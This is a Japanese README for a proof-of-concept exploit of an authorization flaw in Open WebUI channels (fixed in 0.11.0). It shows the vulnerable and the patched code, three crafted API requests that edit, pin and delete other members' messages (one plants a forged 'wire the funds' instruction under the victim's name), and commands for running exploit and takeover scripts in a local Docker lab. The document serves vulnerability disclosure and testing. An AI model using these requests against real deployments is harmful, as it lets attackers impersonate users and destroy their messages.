
Open WebUIの認可の脆弱性を悪用する概念実証エクスプロイト。低権限ユーザーが巧妙に細工されたAPI呼び出しを介して、他のメンバーのチャンネルメッセージを編集・削除できるようにする。
Open WebUI、影響を受けるバージョン0.5.0〜0.10.2、0.11.0で修正済み。重要度:中、CVSS 5.4、CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L、CWE-284およびCWE-862。
backend/open_webui/routers/channels.pyでは、メッセージ更新・削除ハンドラがチャンネルタイプによって分岐しており、2つの分岐は異なる条件を問い合わせます。グループおよびダイレクトメッセージのチャンネルは投稿者のみが対象です。
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
標準のチャンネル分岐は書き込みアクセスのみでチェックを通過させますが、書き込みアクセスは投稿のためにnew_message_handlerが要求するものとまったく同じです。そのため、発言できる権限が書き換え・削除の権限として受け入れられていました。channel_has_accessは公開の許可だけでなくユーザー単位の許可でも満たされるため、共同作業者がいるプライベートルームもオープンチャンネルと同様に影響を受けます。更新フォームはcontent、data、metaをバインドしますが、モデルレイヤーはmessage.user_idに一切触れないため、編集されたメッセージは元の投稿者の名前を保持します。
悪用方法は、いかなるグループにも属さず、何も所有しておらず、何も投稿していない、ロールuserのごく普通のアカウントからの3回の通常のAPI呼び出しです。
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
0.11.0のコミットc609ec411はチェックを分割しています。最初に書き込みアクセス、次に投稿者権限という順序で、グループ分岐と同様です。ピン留めは設計上、書き込みレベルのままです。
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
2026年8月4日に0.10.2に対して再実行。スクリプトは他のメンバーのメッセージを削除するため、使い捨てのローカルインスタンスに対してのみ実行してください。
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7